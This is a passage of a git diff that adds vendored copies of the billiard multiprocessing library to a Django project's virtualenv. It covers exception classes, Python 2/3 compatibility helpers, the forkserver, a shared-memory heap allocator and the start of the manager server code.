self.tb_lasti = 0 + + +class Traceback(object): + Frame = _Frame + + def __init__(self, tb, max_frames=DEFAULT_MAX_FRAMES, depth=0): + self.tb_frame = self.Frame(tb.tb_frame) + self.tb_lineno = tb.tb_lineno + self.tb_lasti = tb.tb_lasti + self.tb_next = None + if tb.tb_next is not None: + if depth <= max_frames: + self.tb_next = Traceback(tb.tb_next, max_frames, depth + 1) + else: + self.tb_next = _Truncated() + + +class ExceptionInfo(object): + """Exception wrapping an exception and its traceback. + + :param exc_info: The exception info tuple as returned by + :func:`sys.exc_info`. + + """ + + #: Exception type. + type = None + + #: Exception instance. + exception = None + + #: Pickleable traceback instance for use with :mod:`traceback` + tb = None + + #: String representation of the traceback. + traceback = None + + #: Set to true if this is an internal error. + internal = False + + def __init__(self, exc_info=None, internal=False): + self.type, self.exception, tb = exc_info or sys.exc_info() + try: + self.tb = Traceback(tb) + self.traceback = ''.join( + traceback.format_exception(self.type, self.exception, tb), + ) + self.internal = internal + finally: + del(tb) + + def __str__(self): + return self.traceback + + def __repr__(self): + return "<%s: %r>" % (self.__class__.__name__, self.exception, ) + + @property + def exc_info(self): + return self.type, self.exception, self.tb diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/exceptions.py b/django_lottopy/lib/python3.10/site-packages/billiard/exceptions.py new file mode 100644 index 00000000..24818a79 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/exceptions.py @@ -0,0 +1,54 @@ +from __future__ import absolute_import + +try: + from multiprocessing import ( + ProcessError, + BufferTooShort, + TimeoutError, + AuthenticationError, + ) +except ImportError: + class ProcessError(Exception): # noqa + pass + + class BufferTooShort(ProcessError): # noqa + pass + + class TimeoutError(ProcessError): # noqa + pass + + class AuthenticationError(ProcessError): # noqa + pass + + +class TimeLimitExceeded(Exception): + """The time limit has been exceeded and the job has been terminated.""" + + def __str__(self): + return "TimeLimitExceeded%s" % (self.args, ) + + +class SoftTimeLimitExceeded(Exception): + """The soft time limit has been exceeded. This exception is raised + to give the task a chance to clean up.""" + + def __str__(self): + return "SoftTimeLimitExceeded%s" % (self.args, ) + + +class WorkerLostError(Exception): + """The worker processing a job has exited prematurely.""" + + +class Terminated(Exception): + """The worker processing a job has been terminated by user request.""" + + +class RestartFreqExceeded(Exception): + """Restarts too fast.""" + + +class CoroStop(Exception): + """Coroutine exit, as opposed to StopIteration which may + mean it should be restarted.""" + pass diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/five.py b/django_lottopy/lib/python3.10/site-packages/billiard/five.py new file mode 100644 index 00000000..5997f65e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/five.py @@ -0,0 +1,191 @@ +# -*- coding: utf-8 -*- +""" + celery.five + ~~~~~~~~~~~ + + Compatibility implementations of features + only available in newer Python versions. + + +""" +from __future__ import absolute_import + +# ############# py3k ######################################################### +import sys +PY3 = sys.version_info[0] == 3 + +try: + reload = reload # noqa +except NameError: # pragma: no cover + try: + from importlib import reload # noqa + except ImportError: # pragma: no cover + from imp import reload # noqa + +try: + from UserList import UserList # noqa +except ImportError: # pragma: no cover + from collections import UserList # noqa + +try: + from UserDict import UserDict # noqa +except ImportError: # pragma: no cover + from collections import UserDict # noqa + +# ############# time.monotonic ############################################### + +if sys.version_info < (3, 3): + + import platform + SYSTEM = platform.system() + + try: + import ctypes + except ImportError: # pragma: no cover + ctypes = None # noqa + + if SYSTEM == 'Darwin' and ctypes is not None: + from ctypes.util import find_library + libSystem = ctypes.CDLL(find_library('libSystem.dylib')) + CoreServices = ctypes.CDLL(find_library('CoreServices'), + use_errno=True) + mach_absolute_time = libSystem.mach_absolute_time + mach_absolute_time.restype = ctypes.c_uint64 + absolute_to_nanoseconds = CoreServices.AbsoluteToNanoseconds + absolute_to_nanoseconds.restype = ctypes.c_uint64 + absolute_to_nanoseconds.argtypes = [ctypes.c_uint64] + + def _monotonic(): + return absolute_to_nanoseconds(mach_absolute_time()) * 1e-9 + + elif SYSTEM == 'Linux' and ctypes is not None: + # from stackoverflow: + # questions/1205722/how-do-i-get-monotonic-time-durations-in-python + import ctypes + import os + + CLOCK_MONOTONIC = 1 # see + + class timespec(ctypes.Structure): + _fields_ = [ + ('tv_sec', ctypes.c_long), + ('tv_nsec', ctypes.c_long), + ] + + librt = ctypes.CDLL('librt.so.1', use_errno=True) + clock_gettime = librt.clock_gettime + clock_gettime.argtypes = [ + ctypes.c_int, ctypes.POINTER(timespec), + ] + + def _monotonic(): # noqa + t = timespec() + if clock_gettime(CLOCK_MONOTONIC, ctypes.pointer(t)) != 0: + errno_ = ctypes.get_errno() + raise OSError(errno_, os.strerror(errno_)) + return t.tv_sec + t.tv_nsec * 1e-9 + else: + from time import time as _monotonic + +try: + from time import monotonic +except ImportError: + monotonic = _monotonic # noqa + +if PY3: + import builtins + + from queue import Queue, Empty, Full + from itertools import zip_longest + from io import StringIO, BytesIO + + map = map + string = str + string_t = str + long_t = int + text_t = str + range = range + int_types = (int, ) + + def items(d): + return d.items() + + def keys(d): + return d.keys() + + def values(d): + return d.values() + + def nextfun(it): + return it.__next__ + + exec_ = getattr(builtins, 'exec') + + def reraise(tp, value, tb=None): + if value.__traceback__ is not tb: + raise value.with_traceback(tb) + raise value + + class WhateverIO(StringIO): + + def write(self, data): + if isinstance(data, bytes): + data = data.encode() + StringIO.write(self, data) + +else: + import __builtin__ as builtins # noqa + from Queue import Queue, Empty, Full # noqa + from itertools import imap as map, izip_longest as zip_longest # noqa + from StringIO import StringIO # noqa + string = unicode # noqa + string_t = basestring # noqa + text_t = unicode + long_t = long # noqa + range = xrange + int_types = (int, long) + + def items(d): # noqa + return d.iteritems() + + def keys(d): # noqa + return d.iterkeys() + + def values(d): # noqa + return d.itervalues() + + def nextfun(it): # noqa + return it.next + + def exec_(code, globs=None, locs=None): + """Execute code in a namespace.""" + if globs is None: + frame = sys._getframe(1) + globs = frame.f_globals + if locs is None: + locs = frame.f_locals + del frame + elif locs is None: + locs = globs + exec("""exec code in globs, locs""") + + exec_("""def reraise(tp, value, tb=None): raise tp, value, tb""") + + BytesIO = WhateverIO = StringIO # noqa + + +def with_metaclass(Type, skip_attrs=set(['__dict__', '__weakref__'])): + """Class decorator to set metaclass. + + Works with both Python 2 and Python 3 and it does not add + an extra class in the lookup order like ``six.with_metaclass`` does + (that is -- it copies the original class instead of using inheritance). + + """ + + def _clone_with_metaclass(Class): + attrs = dict((key, value) for key, value in items(vars(Class)) + if key not in skip_attrs) + return Type(Class.__name__, Class.__bases__, attrs) + + return _clone_with_metaclass diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/forkserver.py b/django_lottopy/lib/python3.10/site-packages/billiard/forkserver.py new file mode 100644 index 00000000..a963edbc --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/forkserver.py @@ -0,0 +1,266 @@ +from __future__ import absolute_import, print_function + +import errno +import os +import selectors +import signal +import socket +import struct +import sys +import threading + +from . import connection +from . import process +from . import reduction +from . import semaphore_tracker +from . import spawn +from . import util + +from .compat import spawnv_passfds + +__all__ = ['ensure_running', 'get_inherited_fds', 'connect_to_new_process', + 'set_forkserver_preload'] + +# +# +# + +MAXFDS_TO_SEND = 256 +UNSIGNED_STRUCT = struct.Struct('Q') # large enough for pid_t + +# +# Forkserver class +# + + +class ForkServer(object): + + def __init__(self): + self._forkserver_address = None + self._forkserver_alive_fd = None + self._inherited_fds = None + self._lock = threading.Lock() + self._preload_modules = ['__main__'] + + def set_forkserver_preload(self, modules_names): + '''Set list of module names to try to load in forkserver process.''' + if not all(type(mod) is str for mod in self._preload_modules): + raise TypeError('module_names must be a list of strings') + self._preload_modules = modules_names + + def get_inherited_fds(self): + '''Return list of fds inherited from parent process. + + This returns None if the current process was not started by fork + server. + ''' + return self._inherited_fds + + def connect_to_new_process(self, fds): + '''Request forkserver to create a child process. + + Returns a pair of fds (status_r, data_w). The calling process can read + the child process's pid and (eventually) its returncode from status_r. + The calling process should write to data_w the pickled preparation and + process data. + ''' + self.ensure_running() + if len(fds) + 4 >= MAXFDS_TO_SEND: + raise ValueError('too many fds') + with socket.socket(socket.AF_UNIX) as client: + client.connect(self._forkserver_address) + parent_r, child_w = os.pipe() + child_r, parent_w = os.pipe() + allfds = [child_r, child_w, self._forkserver_alive_fd, + semaphore_tracker.getfd()] + allfds += fds + try: + reduction.sendfds(client, allfds) + return parent_r, parent_w + except: + os.close(parent_r) + os.close(parent_w) + raise + finally: + os.close(child_r) + os.close(child_w) + + def ensure_running(self): + '''Make sure that a fork server is running. + + This can be called from any process. Note that usually a child + process will just reuse the forkserver started by its parent, so + ensure_running() will do nothing. + ''' + with self._lock: + semaphore_tracker.ensure_running() + if self._forkserver_alive_fd is not None: + return + + cmd = ('from billiard.forkserver import main; ' + + 'main(%d, %d, %r, **%r)') + + if self._preload_modules: + desired_keys = {'main_path', 'sys_path'} + data = spawn.get_preparation_data('ignore') + data = { + x: y for (x, y) in data.items() if x in desired_keys + } + else: + data = {} + + with socket.socket(socket.AF_UNIX) as listener: + address = connection.arbitrary_address('AF_UNIX') + listener.bind(address) + os.chmod(address, 0o600) + listener.listen() + + # all client processes own the write end of the "alive" pipe; + # when they all terminate the read end becomes ready. + alive_r, alive_w = os.pipe() + try: + fds_to_pass = [listener.fileno(), alive_r] + cmd %= (listener.fileno(), alive_r, self._preload_modules, + data) + exe = spawn.get_executable() + args = [exe] + util._args_from_interpreter_flags() + args += ['-c', cmd] + spawnv_passfds(exe, args, fds_to_pass) + except: + os.close(alive_w) + raise + finally: + os.close(alive_r) + self._forkserver_address = address + self._forkserver_alive_fd = alive_w + +# +# +# + + +def main(listener_fd, alive_r, preload, main_path=None, sys_path=None): + '''Run forkserver.''' + if preload: + if '__main__' in preload and main_path is not None: + process.current_process()._inheriting = True + try: + spawn.import_main_path(main_path) + finally: + del process.current_process()._inheriting + for modname in preload: + try: + __import__(modname) + except ImportError: + pass + + # close sys.stdin + if sys.stdin is not None: + try: + sys.stdin.close() + sys.stdin = open(os.devnull) + except (OSError, ValueError): + pass + + # ignoring SIGCHLD means no need to reap zombie processes + handler = signal.signal(signal.SIGCHLD, signal.SIG_IGN) + with socket.socket(socket.AF_UNIX, fileno=listener_fd) as listener, \ + selectors.DefaultSelector() as selector: + _forkserver._forkserver_address = listener.getsockname() + selector.register(listener, selectors.EVENT_READ) + selector.register(alive_r, selectors.EVENT_READ) + + while True: + try: + while True: + rfds = [key.fileobj for (key, events) in selector.select()] + if rfds: + break + + if alive_r in rfds: + # EOF because no more client processes left + assert os.read(alive_r, 1) == b'' + raise SystemExit + + assert listener in rfds + with listener.accept()[0] as s: + code = 1 + if os.fork() == 0: + try: + _serve_one(s, listener, alive_r, handler) + except Exception: + sys.excepthook(*sys.exc_info()) + sys.stderr.flush() + finally: + os._exit(code) + except OSError as e: + if e.errno != errno.ECONNABORTED: + raise + + +def __unpack_fds(child_r, child_w, alive, stfd, *inherited): + return child_r, child_w, alive, stfd, inherited + + +def _serve_one(s, listener, alive_r, handler): + # close unnecessary stuff and reset SIGCHLD handler + listener.close() + os.close(alive_r) + signal.signal(signal.SIGCHLD, handler) + + # receive fds from parent process + fds = reduction.recvfds(s, MAXFDS_TO_SEND + 1) + s.close() + assert len(fds) <= MAXFDS_TO_SEND + + (child_r, child_w, _forkserver._forkserver_alive_fd, + stfd, _forkserver._inherited_fds) = __unpack_fds(*fds) + semaphore_tracker._semaphore_tracker._fd = stfd + + # send pid to client processes + write_unsigned(child_w, os.getpid()) + + # reseed random number generator + if 'random' in sys.modules: + import random + random.seed() + + # run process object received over pipe + code = spawn._main(child_r) + + # write the exit code to the pipe + write_unsigned(child_w, code) + +# +# Read and write unsigned numbers +# + + +def read_unsigned(fd): + data = b'' + length = UNSIGNED_STRUCT.size + while len(data) < length: + s = os.read(fd, length - len(data)) + if not s: + raise EOFError('unexpected EOF') + data += s + return UNSIGNED_STRUCT.unpack(data)[0] + + +def write_unsigned(fd, n): + msg = UNSIGNED_STRUCT.pack(n) + while msg: + nbytes = os.write(fd, msg) + if nbytes == 0: + raise RuntimeError('should not get here') + msg = msg[nbytes:] + +# +# +# + +_forkserver = ForkServer() +ensure_running = _forkserver.ensure_running +get_inherited_fds = _forkserver.get_inherited_fds +connect_to_new_process = _forkserver.connect_to_new_process +set_forkserver_preload = _forkserver.set_forkserver_preload diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/heap.py b/django_lottopy/lib/python3.10/site-packages/billiard/heap.py new file mode 100644 index 00000000..b7581cec --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/heap.py @@ -0,0 +1,289 @@ +# +# Module which supports allocation of memory from an mmap +# +# multiprocessing/heap.py +# +# Copyright (c) 2006-2008, R Oudkerk +# Licensed to PSF under a Contributor Agreement. +# +from __future__ import absolute_import + +import bisect +import errno +import io +import mmap +import os +import sys +import threading +import tempfile + +from . import context +from . import reduction +from . import util + +from ._ext import _billiard, win32 + +__all__ = ['BufferWrapper'] + +PY3 = sys.version_info[0] == 3 + +# +# Inheritable class which wraps an mmap, and from which blocks can be allocated +# + +if sys.platform == 'win32': + + class Arena(object): + + _rand = tempfile._RandomNameSequence() + + def __init__(self, size): + self.size = size + for i in range(100): + name = 'pym-%d-%s' % (os.getpid(), next(self._rand)) + buf = mmap.mmap(-1, size, tagname=name) + if win32.GetLastError() == 0: + break + # we have reopened a preexisting map + buf.close() + else: + exc = IOError('Cannot find name for new mmap') + exc.errno = errno.EEXIST + raise exc + self.name = name + self.buffer = buf + self._state = (self.size, self.name) + + def __getstate__(self): + context.assert_spawning(self) + return self._state + + def __setstate__(self, state): + self.size, self.name = self._state = state + self.buffer = mmap.mmap(-1, self.size, tagname=self.name) + # XXX Temporarily preventing buildbot failures while determining + # XXX the correct long-term fix. See issue #23060 + # assert win32.GetLastError() == win32.ERROR_ALREADY_EXISTS + +else: + + class Arena(object): + + def __init__(self, size, fd=-1): + self.size = size + self.fd = fd + if fd == -1: + if PY3: + self.fd, name = tempfile.mkstemp( + prefix='pym-%d-' % (os.getpid(),), + dir=util.get_temp_dir(), + ) + + os.unlink(name) + util.Finalize(self, os.close, (self.fd,)) + with io.open(self.fd, 'wb', closefd=False) as f: + bs = 1024 * 1024 + if size >= bs: + zeros = b'\0' * bs + for _ in range(size // bs): + f.write(zeros) + del(zeros) + f.write(b'\0' * (size % bs)) + assert f.tell() == size + else: + name = tempfile.mktemp( + prefix='pym-%d-' % (os.getpid(),), + dir=util.get_temp_dir(), + ) + self.fd = os.open( + name, os.O_RDWR | os.O_CREAT | os.O_EXCL, 0o600, + ) + util.Finalize(self, os.close, (self.fd,)) + os.unlink(name) + os.ftruncate(self.fd, size) + self.buffer = mmap.mmap(self.fd, self.size) + + def reduce_arena(a): + if a.fd == -1: + raise ValueError('Arena is unpicklable because' + 'forking was enabled when it was created') + return rebuild_arena, (a.size, reduction.DupFd(a.fd)) + + def rebuild_arena(size, dupfd): + return Arena(size, dupfd.detach()) + + reduction.register(Arena, reduce_arena) + +# +# Class allowing allocation of chunks of memory from arenas +# + + +class Heap(object): + + _alignment = 8 + + def __init__(self, size=mmap.PAGESIZE): + self._lastpid = os.getpid() + self._lock = threading.Lock() + self._size = size + self._lengths = [] + self._len_to_seq = {} + self._start_to_block = {} + self._stop_to_block = {} + self._allocated_blocks = set() + self._arenas = [] + # list of pending blocks to free - see free() comment below + self._pending_free_blocks = [] + + @staticmethod + def _roundup(n, alignment): + # alignment must be a power of 2 + mask = alignment - 1 + return (n + mask) & ~mask + + def _malloc(self, size): + # returns a large enough block -- it might be much larger + i = bisect.bisect_left(self._lengths, size) + if i == len(self._lengths): + length = self._roundup(max(self._size, size), mmap.PAGESIZE) + self._size *= 2 + util.info('allocating a new mmap of length %d', length) + arena = Arena(length) + self._arenas.append(arena) + return (arena, 0, length) + else: + length = self._lengths[i] + seq = self._len_to_seq[length] + block = seq.pop() + if not seq: + del self._len_to_seq[length], self._lengths[i] + + (arena, start, stop) = block + del self._start_to_block[(arena, start)] + del self._stop_to_block[(arena, stop)] + return block + + def _free(self, block): + # free location and try to merge with neighbours + (arena, start, stop) = block + + try: + prev_block = self._stop_to_block[(arena, start)] + except KeyError: + pass + else: + start, _ = self._absorb(prev_block) + + try: + next_block = self._start_to_block[(arena, stop)] + except KeyError: + pass + else: + _, stop = self._absorb(next_block) + + block = (arena, start, stop) + length = stop - start + + try: + self._len_to_seq[length].append(block) + except KeyError: + self._len_to_seq[length] = [block] + bisect.insort(self._lengths, length) + + self._start_to_block[(arena, start)] = block + self._stop_to_block[(arena, stop)] = block + + def _absorb(self, block): + # deregister this block so it can be merged with a neighbour + (arena, start, stop) = block + del self._start_to_block[(arena, start)] + del self._stop_to_block[(arena, stop)] + + length = stop - start + seq = self._len_to_seq[length] + seq.remove(block) + if not seq: + del self._len_to_seq[length] + self._lengths.remove(length) + + return start, stop + + def _free_pending_blocks(self): + # Free all the blocks in the pending list - called with the lock held + while 1: + try: + block = self._pending_free_blocks.pop() + except IndexError: + break + self._allocated_blocks.remove(block) + self._free(block) + + def free(self, block): + # free a block returned by malloc() + # Since free() can be called asynchronously by the GC, it could happen + # that it's called while self._lock is held: in that case, + # self._lock.acquire() would deadlock (issue #12352). To avoid that, a + # trylock is used instead, and if the lock can't be acquired + # immediately, the block is added to a list of blocks to be freed + # synchronously sometimes later from malloc() or free(), by calling + # _free_pending_blocks() (appending and retrieving from a list is not + # strictly thread-safe but under cPython it's atomic + # thanks to the GIL). + assert os.getpid() == self._lastpid + if not self._lock.acquire(False): + # can't acquire the lock right now, add the block to the list of + # pending blocks to free + self._pending_free_blocks.append(block) + else: + # we hold the lock + try: + self._free_pending_blocks() + self._allocated_blocks.remove(block) + self._free(block) + finally: + self._lock.release() + + def malloc(self, size): + # return a block of right size (possibly rounded up) + assert 0 <= size < sys.maxsize + if os.getpid() != self._lastpid: + self.__init__() # reinitialize after fork + with self._lock: + self._free_pending_blocks() + size = self._roundup(max(size, 1), self._alignment) + (arena, start, stop) = self._malloc(size) + new_stop = start + size + if new_stop < stop: + self._free((arena, new_stop, stop)) + block = (arena, start, new_stop) + self._allocated_blocks.add(block) + return block + +# +# Class representing a chunk of an mmap -- can be inherited +# + + +class BufferWrapper(object): + + _heap = Heap() + + def __init__(self, size): + assert 0 <= size < sys.maxsize + block = BufferWrapper._heap.malloc(size) + self._state = (block, size) + util.Finalize(self, BufferWrapper._heap.free, args=(block,)) + + def get_address(self): + (arena, start, stop), size = self._state + address, length = _billiard.address_of_buffer(arena.buffer) + assert size <= length + return address + start + + def get_size(self): + return self._state[1] + + def create_memoryview(self): + (arena, start, stop), size = self._state + return memoryview(arena.buffer)[start:start + size] diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/managers.py b/django_lottopy/lib/python3.10/site-packages/billiard/managers.py new file mode 100644 index 00000000..78e24f41 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/managers.py @@ -0,0 +1,1210 @@ +# +# Module providing the `SyncManager` class for dealing +# with shared objects +# +# multiprocessing/managers.py +# +# Copyright (c) 2006-2008, R Oudkerk +# Licensed to PSF under a Contributor Agreement. +# +from __future__ import absolute_import + +# +# Imports +# + +import sys +import threading +import array + +from traceback import format_exc + +from . import connection +from . import context +from . import pool +from . import process +from . import reduction +from . import util +from . import get_context + +from .five import Queue, items, monotonic + +__all__ = ['BaseManager', 'SyncManager', 'BaseProxy', 'Token'] + +PY3 = sys.version_info[0] == 3 + +# +# Register some things for pickling +# + + +if PY3: + def reduce_array(a): + return array.array, (a.typecode, a.tobytes()) +else: + def reduce_array(a): # noqa + return array.array, (a.typecode, a.tostring()) +reduction.register(array.array, reduce_array) + +view_types = [type(getattr({}, name)()) + for name in ('items', 'keys', 'values')] +if view_types[0] is not list: # only needed in Py3.0 + + def rebuild_as_list(obj): + return list, (list(obj), ) + for view_type in view_types: + reduction.register(view_type, rebuild_as_list) + +# +# Type for identifying shared objects +# + + +class Token(object): + ''' + Type to uniquely indentify a shared object + ''' + __slots__ = ('typeid', 'address', 'id') + + def __init__(self, typeid, address, id): + (self.typeid, self.address, self.id) = (typeid, address, id) + + def __getstate__(self): + return (self.typeid, self.address, self.id) + + def __setstate__(self, state): + (self.typeid, self.address, self.id) = state + + def __repr__(self): + return '%s(typeid=%r, address=%r, id=%r)' % \ + (self.__class__.__name__, self.typeid, self.address, self.id) + +# +# Function for communication with a manager's server process +# + + +def dispatch(c, id, methodname, args=(), kwds={}): + ''' + Send a message to manager using connection `c` and return response + ''' + c.send((id, methodname, args, kwds)) + kind, result = c.recv() + if kind == '#RETURN': + return result + raise convert_to_error(kind, result) + + +def convert_to_error(kind, result): + if kind == '#ERROR': + return result + elif kind == '#TRACEBACK': + assert type(result) is str + return RemoteError(result) + elif kind == '#UNSERIALIZABLE': + assert type(result) is str + return RemoteError('Unserializable message: %s\n' % result) + else: + return ValueError('Unrecognized message type') + + +class RemoteError(Exception): + + def __str__(self): + return ('\n' + '-' * 75 + '\n' + str(self.args[0]) + '-' * 75) + +# +# Functions for finding the method names of an object +# + + +def all_methods(obj): + ''' + Return a list of names of methods of `obj` + ''' + temp = [] + for name in dir(obj): + func = getattr(obj, name) + if callable(func): + temp.append(name) + return temp + + +def public_methods(obj): + ''' + Return a list of names of methods of `obj` which do not start with '_' + ''' + return [name for name in all_methods(obj) if name[0] != '_'] + +# +# Server which is run in a process controlled by a manager +# + + +class Server(object): + ''' + Server class which runs in a process controlled by a manager object + ''' + public = ['shutdown', 'create', 'accept_connection', 'get_methods', + 'debug_info', 'number_of_objects', 'dummy', 'incref', 'decref'] + + def __init__(self, registry, address, authkey, serializer): + assert isinstance(authkey, bytes) + self.registry = registry + self.authkey = process.AuthenticationString(authkey) + Listener, Client = listener_client[serializer] + + # do authentication later + self.listener = Listener(address=address, backlog=16) + self.address = self.listener.address + + self.id_to_obj = {'0': (None, ())} + self.id_to_refcount = {} + self.mutex = threading.RLock() + + def serve_forever(self): + ''' + Run the server forever + ''' + self.stop_event = threading.Event() + process.current_process()._manager_server = self + try: + accepter = threading.Thread(target=self.accepter) + accepter.daemon = True + accepter.start() + try: + while not self.stop_event.is_set(): + self.stop_event.wait(1) + except (KeyboardInterrupt, SystemExit): + pass + finally: + if sys.stdout != sys.__stdout__: + util.debug('resetting stdout, stderr') + sys.stdout = sys.__stdout__ + sys.stderr = sys.__stderr__ + sys.exit(0) + + def accepter(self): + while True: + try: + c = self.listener.accept() + except OSError: + continue + t = threading.Thread(target=self.handle_request, args=(c, )) + t.daemon = True + t.start() + + def handle_request(self, c): + ''' + Handle a new connection + ''' + funcname = result = request = None + try: + connection.deliver_challenge(c, self.authkey) + connection.answer_challenge(c, self.authkey) + request = c.recv() + ignore, funcname, args, kwds = request + assert funcname in self.public, '%r unrecognized' % funcname + func = getattr(self, funcname) + except Exception: + msg = ('#TRACEBACK', format_exc()) + else: + try: + result = func(c, *args, **kwds) + except Exception: + msg = ('#TRACEBACK', format_exc()) + else: + msg = ('#RETURN', result) + try: + c.send(msg) + except Exception as exc: + try: + c.send(('#TRACEBACK', format_exc())) + except Exception: + pass + util.info('Failure to send message: %r', msg) + util.info(' ... request was %r', request) + util.info(' ... exception was %r', exc) + + c.close() + + def serve_client(self, conn): + ''' + Handle requests from the proxies in a particular process/thread + ''' + util.debug('starting server thread to service %r', + threading.current_thread().name) + + recv = conn.recv + send = conn.send + id_to_obj = self.id_to_obj + + while not self.stop_event.is_set(): + + try: + methodname = obj = None + request = recv() + ident, methodname, args, kwds = request + obj, exposed, gettypeid = id_to_obj[ident] + + if methodname not in exposed: + raise AttributeError( + 'method %r of %r object is not in exposed=%r' % ( + methodname, type(obj), exposed) + ) + + function = getattr(obj, methodname) + + try: + res = function(*args, **kwds) + except Exception as exc: + msg = ('#ERROR', exc) + else: + typeid = gettypeid and gettypeid.get(methodname, None) + if typeid: + rident, rexposed = self.create(conn, typeid, res) + token = Token(typeid, self.address, rident) + msg = ('#PROXY', (rexposed, token)) + else: + msg = ('#RETURN', res) + + except AttributeError: + if methodname is None: + msg = ('#TRACEBACK', format_exc()) + else: + try: + fallback_func = self.fallback_mapping[methodname] + result = fallback_func( + self, conn, ident, obj, *args, **kwds + ) + msg = ('#RETURN', result) + except Exception: + msg = ('#TRACEBACK', format_exc()) + + except EOFError: + util.debug('got EOF -- exiting thread serving %r', + threading.current_thread().name) + sys.exit(0) + + except Exception: + msg = ('#TRACEBACK', format_exc()) + + try: + try: + send(msg) + except Exception: + send(('#UNSERIALIZABLE', repr(msg))) + except Exception as exc: + util.info('exception in thread serving %r', + threading.current_thread().name) + util.info(' ... message was %r', msg) + util.info(' ... exception was %r', exc) + conn.close() + sys.exit(1) + + def fallback_getvalue(self, conn, ident, obj): + return obj + + def fallback_str(self, conn, ident, obj): + return str(obj) + + def fallback_repr(self, conn, ident, obj): + return repr(obj) + + fallback_mapping = { + '__str__': fallback_str, + '__repr__': fallback_repr, + '#GETVALUE': fallback_getvalue, + } + + def dummy(self, c): + pass + + def debug_info(self, c): + ''' + Return some info --- useful to spot problems with refcounting + ''' + with self.mutex: + result = [] + keys = list(self.id_to_obj.keys()) + keys.sort() + for ident in keys: + if ident != '0': + result.append(' %s: refcount=%s\n %s' % + (ident, self.id_to_refcount[ident], + str(self.id_to_obj[ident][0])[:75])) + return '\n'.join(result) + + def number_of_objects(self, c): + ''' + Number of shared objects + ''' + return len(self.id_to_obj) - 1 # don't count ident='0' + + def shutdown(self, c): + ''' + Shutdown this process + ''' + try: + util.debug('Manager received shutdown message') + c.send(('#RETURN', None)) + except: + import traceback + traceback.print_exc() + finally: + self.stop_event.set() + + def create(self, c, typeid, *args, **kwds): + ''' + Create a new shared object and return its id + ''' + with self.mutex: + callable, exposed, method_to_typeid, proxytype = \ + self.registry[typeid] + + if callable is None: + assert len(args) == 1 and not kwds + obj = args[0] + else: + obj = callable(*args, **kwds) + + if exposed is None: + exposed = public_methods(obj) + if method_to_typeid is not None: + assert type(method_to_typeid) is dict + exposed = list(exposed) + list(method_to_typeid) + # convert to string because xmlrpclib + # only has 32 bit signed integers + ident = '%x' % id(obj) + util.debug('%r callable returned object with id %r', typeid, ident) + + self.id_to_obj[ident] = (obj, set(exposed), method_to_typeid) + if ident not in self.id_to_refcount: + self.id_to_refcount[ident] = 0 + # increment the reference count immediately, to avoid + # this object being garbage collected before a Proxy + # object for it can be created. The caller of create() + # is responsible for doing a decref once the Proxy object + # has been created. + self.incref(c, ident) + return ident, tuple(exposed) + + def get_methods(self, c, token): + ''' + Return the methods of the shared object indicated by token + ''' + return tuple(self.id_to_obj[token.id][1]) + + def accept_connection(self, c, name): + ''' + Spawn a new thread to serve this connection + ''' + threading.current_thread().name = name + c.send(('#RETURN', None)) + self.serve_client(c) + + def incref(self, c, ident): + with self.mutex: + self.id_to_refcount[ident] += 1 + + def decref(self, c, ident): + with self.mutex: + assert self.id_to_refcount[ident] >= 1 + self.id_to_refcount[ident] -= 1 + if self.id_to_refcount[ident] == 0: + del self.id_to_obj[ident], self.id_to_refcount[ident] + util.debug('disposing of obj with id %r', ident) + +# +# Class to represent state of a manager +# + + +class State(object): + __slots__ = ['value'] + INITIAL = 0 + STARTED = 1 + SHUTDOWN = 2 + +# +# Mapping from serializer name to Listener and Client types +# + +listener_client = { + 'pickle': (connection.Listener, connection.Client), + 'xmlrpclib': (connection.XmlListener, connection.XmlClient), +} + +# +# Definition of BaseManager +# + + +class BaseManager(object): + ''' + Base class for managers + ''' + _registry = {} + _Server = Server + + def __init__(self, address=None, authkey=None, serializer='pickle', + ctx=None): + if authkey is None: + authkey = process.current_process().authkey + self._address = address # XXX not final address if eg ('', 0) + self._authkey = process.AuthenticationString(authkey) + self._state = State() + self._state.value = State.INITIAL + self._serializer = serializer + self._Listener, self._Client = listener_client[serializer] + self._ctx = ctx or get_context() + + def __reduce__(self): + return (type(self).from_address, + (self._address, self._authkey, self._serializer)) + + def get_server(self): + ''' + Return server object with serve_forever() method and address attribute + ''' + assert self._state.value == State.INITIAL + return Server(self._registry, self._address, + self._authkey, self._serializer) + + def connect(self): + ''' + Connect manager object to the server process + ''' + Listener, Client = listener_client[self._serializer] + conn = Client(self._address, authkey=self._authkey) + dispatch(conn, None, 'dummy') + self._state.value = State.STARTED + + def start(self, initializer=None, initargs=()): + ''' + Spawn a server process for this manager object + ''' + assert self._state.value == State.INITIAL + + if initializer is not None and not callable(initializer): + raise TypeError('initializer must be a callable') + + # pipe over which we will retrieve address of server + reader, writer = connection.Pipe(duplex=False) + + # spawn process which runs a server + self._process = self._ctx.Process( + target=type(self)._run_server, + args=(self._registry, self._address, self._authkey, + self._serializer, writer, initializer, initargs), + ) + ident = ':'.join(str(i) for i in self._process._identity) + self._process.name = type(self).__name__ + '-' + ident + self._process.start() + + # get address of server + writer.close() + self._address = reader.recv() + reader.close() + + # register a finalizer + self._state.value = State.STARTED + self.shutdown = util.Finalize( + self, type(self)._finalize_manager, + args=(self._process, self._address, self._authkey, + self._state, self._Client), + exitpriority=0 + ) + + @classmethod + def _run_server(cls, registry, address, authkey, serializer, writer, + initializer=None, initargs=()): + ''' + Create a server, report its address and run it + ''' + if initializer is not None: + initializer(*initargs) + + # create server + server = cls._Server(registry, address, authkey, serializer) + + # inform parent process of the server's address + writer.send(server.address) + writer.close() + + # run the manager + util.info('manager serving at %r', server.address) + server.serve_forever() + + def _create(self, typeid, *args, **kwds): + ''' + Create a new shared object; return the token and exposed tuple + ''' + assert self._state.value == State.STARTED, 'server not yet started' + conn = self._Client(self._address, authkey=self._authkey) + try: + id, exposed = dispatch(conn, None, 'create', + (typeid,) + args, kwds) + finally: + conn.close() + return Token(typeid, self._address, id), exposed + + def join(self, timeout=None): + ''' + Join the manager process (if it has been 